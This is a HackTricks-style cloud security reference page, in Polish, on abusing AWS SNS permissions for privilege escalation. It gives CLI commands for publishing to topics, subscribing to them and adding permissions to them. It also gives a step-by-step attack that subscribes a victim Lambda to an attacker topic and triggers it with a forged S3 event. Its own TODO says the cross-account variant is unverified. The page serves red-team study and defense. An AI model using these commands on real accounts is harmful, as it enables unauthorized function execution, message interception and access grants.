AWS - SNS Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

SNS

Więcej informacji:

AWS - SNS Enum

sns:Publish

attacker mógłby wysyłać złośliwe lub niechciane wiadomości do SNS topic, potencjalnie powodując uszkodzenie danych, wywołanie niezamierzonych działań lub wyczerpanie zasobów.

aws sns publish --topic-arn <value> --message <value>

Potencjalny wpływ: Wykorzystanie podatności, uszkodzenie danych, niezamierzone działania lub wyczerpanie zasobów.

sns:Subscribe

Atakujący mógłby zasubskrybować temat SNS, potencjalnie uzyskując nieautoryzowany dostęp do wiadomości lub zakłócając poprawne działanie aplikacji korzystających z tego tematu.

aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

Potencjalny wpływ: Nieautoryzowany dostęp do wiadomości (wrażliwe informacje), zakłócenie działania aplikacji korzystających z dotkniętego topicu.

sns:AddPermission

Atakujący mógłby przyznać nieautoryzowanym użytkownikom lub usługom dostęp do SNS topic, potencjalnie uzyskując dalsze uprawnienia.

aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Potencjalny wpływ: Nieautoryzowany dostęp do topic, ujawnienie wiadomości lub manipulacja topic przez nieautoryzowanych użytkowników lub usługi, zakłócenie normalnego działania aplikacji polegających na tym topic.

Wywołanie funkcji Lambda przez nadużycie wildcardowego uprawnienia SNS (brak SourceArn)

Jeśli polityka oparta na zasobach funkcji Lambda pozwala sns.amazonaws.com na jej wywoływanie bez ograniczenia tematu źródłowego (SourceArn), dowolny topic SNS (nawet w innym koncie) może się zasubskrybować i wywołać funkcję. Atakujący z podstawowymi uprawnieniami do SNS może zmusić Lambda do wykonania pod rolą IAM z danymi wejściowymi kontrolowanymi przez atakującego.

Tip

TODO: Czy to naprawdę da się wykonać cross-account?

Preconditions

  • Polityka funkcji Lambda ofiary zawiera poniższe oświadczenie, bez warunku SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

Kroki nadużycia (na tym samym koncie lub między kontami)

# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

Potencjalny wpływ: Poszkodowana Lambda uruchamia się z przypisaną rolą IAM, przetwarzając dane kontrolowane przez atakującego. Może to być wykorzystane do zmuszenia funkcji do wykonania wrażliwych operacji (np. zapis do S3, dostęp do sekretów, modyfikacja zasobów) w zależności od jej uprawnień.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks